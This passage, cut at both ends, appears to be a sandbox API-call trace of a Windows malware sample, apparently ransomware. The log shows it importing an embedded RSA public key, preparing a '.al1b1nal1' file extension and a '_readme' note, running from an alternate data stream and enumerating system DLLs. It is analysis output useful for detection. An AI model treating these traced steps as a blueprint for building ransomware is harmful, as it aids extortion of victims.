lpDst=0x432850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=10, lpWideCharStr=0x1efe048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0260.327] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x432850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=15, lpWideCharStr=0x1efe0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0260.327] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x432850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0260.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x432850, cbMultiByte=56, lpWideCharStr=0x1efe158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0260.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x435058, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0260.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x435058, cbMultiByte=10, lpWideCharStr=0x1efe1e0, cchWideChar=10 | out: lpWideCharStr=".al1b1nal1") returned 10 [0260.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x435058, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0260.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x435058, cbMultiByte=17, lpWideCharStr=0x1efe268, cchWideChar=17 | out: lpWideCharStr=".al1b1nal1_readme") returned 17 [0260.328] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0260.328] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0260.329] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x437cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x437cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0260.329] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x437cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0260.335] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x280) returned 0x437f40 [0260.335] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x437cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x437f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x437f40, pcbStructInfo=0x18fd24) returned 1 [0260.335] CryptImportPublicKeyInfo (in: hCryptProv=0x57d9a8, dwCertEncodingType=0x10001, pInfo=0x437f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x437f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x437f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x5822e8) returned 1 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x437f40) returned 1 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x437cf8) returned 1 [0260.337] ReleaseMutex (hMutex=0x90) returned 1 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x435058) returned 1 [0260.337] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x435058 [0260.337] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc900 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc900) returned 1 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x435058) returned 1 [0260.337] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x2800) returned 0x435058 [0260.337] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc900 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc900) returned 1 [0260.337] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc900 [0260.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0260.337] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe1e0 [0260.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1efc900, cbMultiByte=9, lpWideCharStr=0x1efe1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0260.337] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe268 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe1e0) returned 1 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe268) returned 1 [0260.337] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc900) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x435058) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x432850) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc0d8) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd258) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc240) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd268) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd278) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd288) returned 1 [0260.338] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efd5e8) returned 1 [0260.338] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0260.338] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0260.910] GetLastError () returned 0x427 [0260.910] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe268 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x5c) returned 0x1efdd28 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe1e0 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe2f0 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe378 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe400 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe488 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe510 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe598 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe620 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe6a8 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe730 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe7b8 [0260.910] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x100) returned 0x437cf8 [0260.911] GetSystemWow64DirectoryW (in: lpBuffer=0x437cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0260.911] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x437cf8) returned 1 [0260.911] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0260.911] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe840) returned 1 [0260.911] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe840 [0260.911] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x5825e0 [0260.911] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.911] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.911] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0260.911] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.911] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.911] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.911] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.911] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.912] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x1efc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.914] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.914] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.914] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.914] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.915] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x1efc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.915] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.915] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.915] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.915] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x1efc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.916] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.916] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.916] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.916] 